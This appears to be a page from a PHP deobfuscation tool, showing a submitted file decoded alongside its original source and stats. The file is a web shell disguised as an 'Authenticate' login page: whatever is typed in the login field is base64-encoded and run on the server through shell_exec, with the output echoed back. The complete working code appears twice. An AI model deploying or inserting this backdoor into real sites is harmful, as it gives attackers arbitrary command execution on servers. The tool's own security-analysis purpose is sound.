Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_POST['user'])) { // Minor obfuscation // ..

Decoded Output download

<?php 
        if (isset($_POST['user'])) { 
                // Minor obfuscation 
//              echo "DEBUG: ".base64_decode($_POST['user']); 
//              echo "DEBUG: ".$_POST['user']; 
                $response = shell_exec(base64_decode($_POST['user'])); 
                echo nl2br($response); 
        } 
?> 
<!DOCTYPE html> 
<html> 
        <head> 
                <script> 
                function validate(contents) { 
                        console.log("Contents passed as "+contents); 
                        console.log(document.getElementById('user').value); 
                        document.getElementById('user').value=btoa(document.getElementById('user').value); 
                        console.log(document.getElementById('user').value); 
                } 
                </script> 
                <title>Authenticate</title> 
        </head> 
        <body> 
                <form action="" method="POST" onsubmit="validate()"> 
                        <input type="text" name="user" id="user" /> 
                        <input type="submit" value="Login"/> 
                </form> 
 
        </body> 
</html> 

Did this file decode correctly?

Original Code

<?php
        if (isset($_POST['user'])) {
                // Minor obfuscation
//              echo "DEBUG: ".base64_decode($_POST['user']);
//              echo "DEBUG: ".$_POST['user'];
                $response = shell_exec(base64_decode($_POST['user']));
                echo nl2br($response);
        }
?>
<!DOCTYPE html>
<html>
        <head>
                <script>
                function validate(contents) {
                        console.log("Contents passed as "+contents);
                        console.log(document.getElementById('user').value);
                        document.getElementById('user').value=btoa(document.getElementById('user').value);
                        console.log(document.getElementById('user').value);
                }
                </script>
                <title>Authenticate</title>
        </head>
        <body>
                <form action="" method="POST" onsubmit="validate()">
                        <input type="text" name="user" id="user" />
                        <input type="submit" value="Login"/>
                </form>

        </body>
</html>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 50af7eb2b9c273dbcfd8d51925a2b69a
Eval Count 0
Decode Time 114 ms